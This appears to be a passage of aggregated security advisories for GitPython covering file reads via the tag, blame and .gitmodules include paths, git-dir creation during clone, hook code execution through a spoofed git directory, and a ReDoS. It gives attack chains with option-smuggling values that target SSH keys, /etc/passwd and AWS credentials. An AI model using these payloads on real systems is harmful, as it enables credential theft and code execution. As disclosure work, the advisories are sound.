Attack Chain
TagReference.create(repo, name, reference=<user>)withreference="--file=/home/app/.ssh/id_rsa".Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"])@ tag.py:137-141. Guard: denylist includes--file/-F. Bypass proof:_option_candidatesreceivesargs=[]→ the positionalreferenceis never a candidate (the kwarg spellingfile="…"IS blocked; only the positional escapes).repo.git.tag(*args, **kwargs)@ tag.py:158 → no--. argv (observed):['git','tag','-f','vpwn','--file=<secret>'].tagref.tag.message== file contents (arbitrary file read).Bypass Evidence
Independently reproduced (independent test harness, git 2.43.0, default
allow_unsafe_options=False):TagReference.create(repo,'vp','--file=<secret>')→ PASSED;tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'. Control:TagReference.create(..., file='<secret>')→UnsafeOptionError: --file is not allowed. Fix-commit read:3af0c251adds_option_candidates([], kwargs)(empty args → positional never a candidate).Affected Versions
GitPython <= 3.1.58(sink present verbatim on the latest release tag;git diff 3.1.57..HEADtouches only test files).Suggested Fix
Include the positional
reference(andpath) in the option-candidate list passed tocheck_unsafe_options, or place a--separator before the positional arguments inTagReference.create().Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via Repo.blame()
CVE-2026-78678 / GHSA-5xxx-qhh7-9287 / PYSEC-2026-3788
More information
Details
Summary
Repo.blame()/Repo.blame_incremental()guard forwarded revision options againstunsafe_git_revision_options, but that denylist only contains the file-WRITE options--output/-o.git blamealso honors--contents <file>and-S <file>, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of--contents=<path>passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame--outputWRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory).Root Cause
unsafe_git_revision_options = ["--output","-o"](git/repo/base.py:188). Therevstring is passed to_option_candidates([rev], kwargs)and placed BEFORE the--separator (base.py:841). The canonical name of--contents=...iscontents, which is not on the denylist, so noUnsafeOptionErroris raised. The trailing--protects only the pathspec, not the option before the revision.Impact
Arbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default
allow_unsafe_options=False.Proof of Concept
Attack Chain
repo.blame(rev, file)with attackerrev="--contents=/etc/passwd"(or kwargcontents="/etc/passwd", or-S).Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options)@ base.py:841. Guard: denylist =["--output","-o"]only. Bypass proof: canonical namecontents∉ denylist → no error.self.git.blame(rev, "--", file, p=True, ...). argv (observed):['git','blame','-p','--contents=<secret>','HEAD','--','a.txt'].Bypass Evidence
Independently reproduced (independent test harness, default
allow_unsafe_options=False):blame('--contents=<secret>','a.txt')→ guard PASSED; result rows =['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']. Control:blame('--output=…')still BLOCKED (guard active on this path).-Skwarg argv also reaches git unguarded.Affected Versions
GitPython <= 3.1.58(denylist present verbatim on the latest release tag).Suggested Fix
Prefer an allowlist of blame options; at minimum add
--contents/-S(and any other path-taking blame options) tounsafe_git_revision_options, and make the membership rule "the option takes a filesystem path" rather than "the option writes output".Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
CVE-2026-78675 / GHSA-7833-fr7j-v32q / PYSEC-2026-3785
More information
Details
[HIGH] Arbitrary local file content disclosure via
[include]directive in untrusted.gitmodules(SubmoduleConfigParsernever disablesmerge_includes)git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError)9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)Reachability
GitConfigParser.__init__defaultsmerge_includes=True: any config file it parses has its[include](and, when arepo=is supplied,[includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit41ecc6a4("Disable merge_includes in config writers"), which passesmerge_includes=FalsewhenRepo.config_writer()builds its parser (git/repo/base.py).That fix never touched
Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration —repo.submodules,Submodule.iter_items(),Submodule.config()— viaSubmoduleConfigParser(fp_module, read_only=read_only), passing neithermerge_includes=Falsenorrepo=. TheTrueclass default is therefore inherited unchanged, andfp_modulehere is.gitmodules— the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check:osp.isabs(include_path)short-circuits the path join entirely for an absolute path, and a relative path is joined withosp.join(osp.dirname(file_path), include_path)/osp.normpath()'d with no check that the result stays under the repository.~is expanded viaosp.expanduser. The only gate before opening isos.access(include_path, os.R_OK)— a readability check, not a path restriction.Once opened,
GitConfigParser._read()parses the target file as git-config INI. If the first non-blank/non-comment line is not a[section]header — true of virtually any non-gitconfig file (source code,/etc/passwd,.envfiles, credential files, logs, JSON/YAML) — it raisesconfigparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception'sstr()as"File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line)— it embeds the verbatim content of that file's first line in the exception message.Submodule.iter_items()catches only(IOError, BadName), notconfigparser.Error, so this exception propagates straight out of the ordinary, read-onlyrepo.submodulescall.Root cause
Parity gap between two config-parser construction sites for the exact same footgun:
Repo.config_writer()was hardened againstmerge_includesin 2023 (41ecc6a4);Submodule._config_parser()— which parses.gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser atgit/objects/submodule/base.pyfor.git/modules/<name>/config— a different, locally-generated file — has correctly passedmerge_includes=Falsesince 2022, underscoring that the omission for.gitmodulesreads looks like an oversight rather than a considered exception.)Exploit path
.gitmodulescontains a legitimate-looking[submodule ...]section plus: (an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too).list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required.SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first
MissingSectionHeaderError), but that line very often is the secret —.envfiles (DATABASE_URL=...,API_KEY=...), single-line credential/token files,/etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blindGHSA-cwvm-v4w8-q58c("Blind local file inclusion", CVSS 4.0,git/refs/symbolic.pyref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).Preconditions
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for).repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout.Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.False-positive check (adversarial re-read)
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution.clone_from+list(repo.submodules)workflow.Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught./etc/passwd.Remediation
Pass
merge_includes=Falsewhen constructingSubmoduleConfigParserinSubmodule._config_parser()(git/objects/submodule/base.py), mirroring the existing fix inRepo.config_writer()(commit41ecc6a4) —.gitmodulescontent is always attacker-controlled and should never be allowed to pull ininclude/includeIfdirectives. As defense in depth,GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.Confidence
High. Root cause confirmed by direct code reading across both
git/config.pyandgit/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and/etc/passwd).Proof-of-Concept source (
gitpython-003-poc.py)Severity
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination
CVE-2026-78677 / GHSA-8mcc-hrx5-hvxc / PYSEC-2026-3787
More information
Details
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs.9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)Reachability
Repo.clone_from(url, to_path, **kwargs)(andRepo.clone()) forward arbitrary keyword arguments to the underlyinggit cloneinvocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist,Repo.unsafe_git_clone_options, viaGit.check_unsafe_options()— unless the caller passesallow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template,--upload-pack,--config,--exec,--output,--index-output,--pathspec-from-file, etc.).git clonealso accepts--separate-git-dir=<path>, which redirects the repository's entire.gitmetadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code:Repo.unsafe_git_init_options(line 145-150) blocks--separate-git-dirforRepo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". TheRepo._clone()/clone()/clone_from()docstring (line 1450-1452) is even more explicit:i.e. the maintainers' own documentation states that
allow_unsafe_options=False(the default) is supposed to block--separate-git-dirfor clone. ButRepo.unsafe_git_clone_optionsdoes not contain it:So any application that forwards a
separate_git_dir(orseparate-git-dir) kwarg intoRepo.clone_from()/Repo.clone()— e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling--template/--upload-pack/--configentries in this same list — gets no protection at all for--separate-git-dir, even with the defaultallow_unsafe_options=False.Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage):
unsafe_git_init_optionscorrectly lists--separate-git-dir;unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible forGHSA-539m-9xh6-q6rr(archivedenylist missing--add-file/--add-virtual-file) andGHSA-6p8h-3wgx-97gf(clonedenylist missing--template, since fixed).Exploit path
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse.Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity
GHSA-hmq2-w58f-27jc("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:hooks/directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to..git, a shared cache path, a predictable temp location), the clone silently populates/overwritesconfig,HEAD,hooks/*,refs/*,packed-refs, andindexthere — an integrity violation of a resource outside the intended destination.gitagainst that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for--templateinGHSA-9rj7-rf2p-w77r.Preconditions
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted.Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.False-positive check (adversarial re-read)
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths).--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path._known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap.clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry.Remediation
Add
"--separate-git-dir"(and its-alias if git ever adds one — currently there is none) toRepo.unsafe_git_clone_optionsingit/repo/base.py, matchingunsafe_git_init_options. SinceRepo._clone()already special-casesseparate_git_dirforGit.polish_url()normalization, the fix is a one-line addition to the existing list, consistent with howGHSA-6p8h-3wgx-97gfadded--templateto the same list.Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (
gitpython-001-poc.py)Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
CVE-2026-78675 / GHSA-7833-fr7j-v32q / PYSEC-2026-3785
More information
Details
GitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file's first line verbatim in the exception message.
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-78676 / GHSA-284h-m62q-gf8w / PYSEC-2026-3786
More information
Details
GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-78677 / GHSA-8mcc-hrx5-hvxc / PYSEC-2026-3787
More information
Details
GitPython before 3.1.59 omits --separate-git-dir from unsafe_git_clone_options, allowing attackers to create arbitrary git directories outside the intended clone destination. Attackers can pass a separate_git_dir parameter to Repo.clone_from() or Repo.clone() to redirect repository metadata to an attacker-controlled filesystem path, enabling arbitrary directory creation and potential hook execution.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
CVE-2026-78678 / GHSA-5xxx-qhh7-9287 / PYSEC-2026-3788
More information
Details
GitPython versions before 3.1.59 contain an incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options, allowing attackers to read arbitrary files by passing these options to Repo.blame(). Attackers can supply revision values like --contents=/etc/passwd to leak file contents through the blame result returned to the caller.
Severity
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:XReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)
CVE-2026-78679 / GHSA-3wxw-xv34-2frg / PYSEC-2026-3837
More information
Details
Summary
TagReference.create()forwards a caller-influenced positionalreferencevalue intogit tagwithout it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit3af0c251(the fix for GHSA-3f7w-8rr8-f37f's tag instance).Root Cause
The fix
3af0c251addedunsafe_git_tag_options = ["--file","-F"]and a guard call, but the guard isGit.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)atgit/refs/tag.py:139— it passes an EMPTY args list and inspects kwargs only. The dangerous valuespathandreferenceare POSITIONALS (args = (path, reference), tag.py:156), placed before any--. A user-influencedreference="--file=<path>"therefore reachesgit tagas the exact--fileoption the fix intended to block, creating an annotated tag whose message is the file's contents.Impact
Arbitrary local file read at the privileges of the host process; contents returned in-band via
tagref.tag.message. Requires the embedding application to forward a caller-influencedreferencevalue intoTagReference.create()(pure VALUE control — the CVE-2026-42215 threat model). Defaultallow_unsafe_options=False.Proof of Concept
Attack Chain
TagReference.create(repo, name, reference=<user>)withreference="--file=/home/app/.ssh/id_rsa".Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"])@ tag.py:137-141. Guard: denylist includes--file/-F. Bypass proof:_option_candidatesreceivesargs=[]→ the positionalreferenceis never a candidate (the kwarg spellingfile="…"IS blocked; only the positional escapes).repo.git.tag(*args, **kwargs)@ tag.py:158 → no--. argv (observed):['git','tag','-f','vpwn','--file=<secret>'].tagref.tag.message== file contents (arbitrary file read).Bypass Evidence
Independently reproduced (independent test harness, git 2.43.0, default
allow_unsafe_options=False):TagReference.create(repo,'vp','--file=<secret>')→ PASSED;tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'. Control:TagReference.create(..., file='<secret>')→UnsafeOptionError: --file is not allowed. Fix-commit read:3af0c251adds_option_candidates([], kwargs)(empty args → positional never a candidate).Affected Versions
GitPython <= 3.1.58(sink present verbatim on the latest release tag;git diff 3.1.57..HEADtouches only test files).Suggested Fix
Include the positional
reference(andpath) in the option-candidate list passed tocheck_unsafe_options, or place a--separator before the positional arguments inTagReference.create().Reported by zx (Jace) — GitHub: @manus-use
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).
GitPython: Repository content can impersonate the git directory, leading to arbitrary code execution
CVE-2026-87817 / GHSA-239g-whfq-7xj9 / PYSEC-2026-3982
More information
Details
Summary
Repo.__init__decides which directory is the git directory by testing candidate paths in an order thatconsiders the real
.gitlast. Two earlier tests can be satisfied by ordinary tracked files. Gitreserves only the literal name
.git, soHEAD,objects/,refs/,config,gitdir,commondirand
hooks/at a repository root are all legal tracked content.Consequently, after a victim opens or clones an attacker's repository, GitPython resolves
git_dirtothe working-tree root while real git correctly resolves
<root>/.git. Everything GitPython thentreats as "inside the git directory" is attacker-authored content — including
hooks/, which itexecutes.
CVE-2026-87817
Affected code (3.1.59)
The discovery loop in
git/repo/base.pytests, in order:git/repo/base.py:299—isfile(curpath/gitdir)andisfile(curpath/commondir)andisfile(curpath/HEAD)git/repo/base.py:320—is_git_dir(curpath)git/repo/base.py:341—dotgit = osp.join(curpath, ".git")← the real git dir, considered lastis_git_dir(git/repo/fun.py:60) requires only thatobjects/andrefs/are directories and thatHEADis a file;HEAD's contents are never parsed. The hook path is resolved fromindex.repo.git_dir(git/index/fun.py:73), i.e. the mis-resolved directory.Proof of concept
Requires only
pip install GitPython==3.1.59. Full script attached aspoc1_rce.py; it runs entirelyin a temp directory and the payload only writes a marker file.
Attacker repository — four ordinary tracked files at the root:
gitdir.git\ncommondir.git\nHEADref: refs/heads/master\nhooks/pre-commit#!/bin/sh+ payloadVictim — two ordinary calls:
Observed on the PyPI release 3.1.59 (Linux and Windows):
The
pre-commithook runs atgit/index/base.py:1201, beforewrite_tree(), so it fires even thoughthe commit later fails.
Impact
A service that opens or clones an untrusted repository with GitPython — a CI runner building a fork
pull request, a code-scanning/SBOM service, a mirror, a dependency bot, an AI code-review/agent tool —
can be made to:
<root>/hooks/pre-commitwhen the victim callsindex.commit().<root>/configbecomes the repository config andis parsed with
merge_includes=True(git/repo/base.py:765), so[include] path = ~/.aws/credentialsdiscloses the file. (
Repo._config_readerstill defaultsmerge_includes=True, so the hardeningadded in 3.1.59 for
.gitmodules/GHSA-7833 does not cover this path.)commondir.Delivery is silent:
git cloneexits 0,git fsck(including--strict, and withtransfer.fsckObjects/fetch.fsckObjects=true) reports nothing, and the clone passes every read-onlyprobe (
head.commit,branches,is_dirty(),untracked_files,iter_commits) because a trackedcommondirof.gitpinscommon_dirto the real.git.Threat model / preconditions
fork PR, mirrored dependency).
index.commit(). For thefile-read impact, opening the repo and reading config is enough.
GIT_WORK_TREEis not a mitigation —git_diris assigned and the discovery loop breaks beforethe environment is consulted.
Remediation
curpath/.gitbefore thegitdir/commondir/HEADtriple and beforeis_git_dir(curpath).hook_path/_commit_hook_path/_get_validated_reflog_paththroughrepo.common_dir.commondir/gitdircontents before joining (reuseSymbolicReference._get_validated_path).HEADinis_git_dir(requireref: refs/...or a 40-hex sha).merge_includes=FalseinRepo._config_reader(git/repo/base.py:765).Note for the maintainers
Commit
406b98e1(2026-05-31, "respect core.hooksPath for commit hooks") resolved the hook path viagit rev-parse --git-path, which is immune because git rediscovers the true.git. Commit9bc287a2(2026-07-20) reverted it to avoid an unconditional
rev-parsedependency — reintroducing the exec step.Measured at each commit with the healthy-looking layout:
406b98e1→ hook did not fire;9bc287a2…3.1.59→ hook fired.Scope note
Only the repository-root case is reported: where a real
.gitexists, git prefers it, and GitPythondoes not. A fake git dir in a subdirectory fools real git too, so that variant is out of scope as a
general ecosystem hazard rather than a GitPython defect.
###POC Files :
poc1_rce.py
poc2_file_read.py
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing
CVE-2026-87819 / GHSA-g5vv-9gxw-82hx / PYSEC-2026-3984
More information
Details
Summary
GitPython's
Actor.name_email_regexregular expression (git/util.py, line 863)is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of
Service). When GitPython parses the
authororcommitterheader of a git commitobject that contains a long string with an unterminated
<(no matching>), thePython regex engine enters quadratic backtracking, causing complete single-threaded
CPU exhaustion proportional to the square of the input length.
A single crafted commit object can block any GitPython API call that reads
.authoror.committerfor over two minutes per invocation, enabling denialof service against CI runners, code-hosting backends, repository-scanning
pipelines, or any service that processes commits from third-party or untrusted
repositories.
Details
Vulnerable file and line:
git/util.py, line 863:This regex is evaluated inside
Actor._from_string()(line 909) every timeGitPython resolves a commit's
.authoror.committerproperty.Full call chain — from public API to vulnerable sink:
commit.author # any ordinary GitPython API call
└── git/objects/commit.py:917
Commit._deserialize()
└── git/objects/util.py:341
parse_actor_and_date(author_line)
└── git/util.py:909
Actor._from_string(string)
└── Actor.name_email_regex.search(string) ← VULNERABLE
author_lineis decoded directly from the raw bytes of the git commit object withno length limit, character restriction, or timeout applied at any point before
reaching the regex engine. The same chain is triggered by:
commit.authorcommit.committerrepo.iter_commits()repo.blame()Why this pattern backtracks catastrophically:
The pattern
(.*) <(.*?)>contains an unbounded greedy group(.*)followed bya literal space and
<. When the input is a long string that contains<but noclosing
>, the regex engine must try every possible split position for the greedygroup — O(n²) candidate positions for a string of length n — each of which then
drives the inner lazy group into further sub-match attempts. This is the
well-documented "catastrophic backtracking" failure mode for this family of
patterns.
Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):
.authorEach doubling of input size roughly quadruples processing time (e.g. 40,000 →
80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself
imposes no practical size limit on author name fields in the object format.
How the malicious object reaches a victim:
The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git
loose object written directly into
.git/objects/.git cat-file -t <sha>confirmsit is a valid
committype and git's own read-side tools display it without error.Only git's write-side tooling (
git commit --author,git update-index,explicit
git fsck) applies the sanity checks that would reject a malformed authorline. Delivery paths that bypass those checks include:
receive.fsckObjects = false(common in self-hosted deployments).gitdirectory shipped as a tarball, backup, or zip archivePoC
Environment used for testing:
Script 1 — craft the malicious repository (
craft_malicious_repo.py):Script 2 — trigger the vulnerability (
trigger_redos.py):Execution and observed output:
$ python3 craft_malicious_repo.py /tmp/victim-repo 200000
Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de
Payload size : 200000 bytes
git cat-file -t confirms: commit
$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de
Accessing commit.author — triggers Actor._from_string()...
Author name length : 200014 chars
Elapsed : 150.488 seconds
RESULT: VULNERABLE
Docker reproduction (fully isolated environment):
The
python:3.8-bookwormbase image matches the one used in GitPython's ownfuzzing/local-dev-helpers/Dockerfile.Impact
Who is affected:
Any application that uses GitPython to parse commits from a source it does not
fully control. High-risk deployments include:
that clone and inspect third-party pull requests — one malicious commit in a PR
can stall every worker that processes it.
— a single crafted push blocks every page render or API response that touches that
commit's metadata.
repositories — one crafted object in any repository exhausts a scanner worker.
Severity of impact:
A 200 KB author field blocks a process for ~150 seconds per single
.authoraccess. When
iter_commits()orblameare used, every commit in a historytraversal can be independently crafted, multiplying the total hang time by the
number of commits processed. There is no confidentiality or integrity impact —
this is a pure availability / resource-exhaustion vulnerability.
Suggested Fix
Replace the vulnerable pattern with one that cannot backtrack catastrophically.
The minimal, behavior-preserving fix is to exclude
<and>from the namegroup, removing the ambiguity that forces O(n²) backtracking:
Because the name group can no longer itself contain a
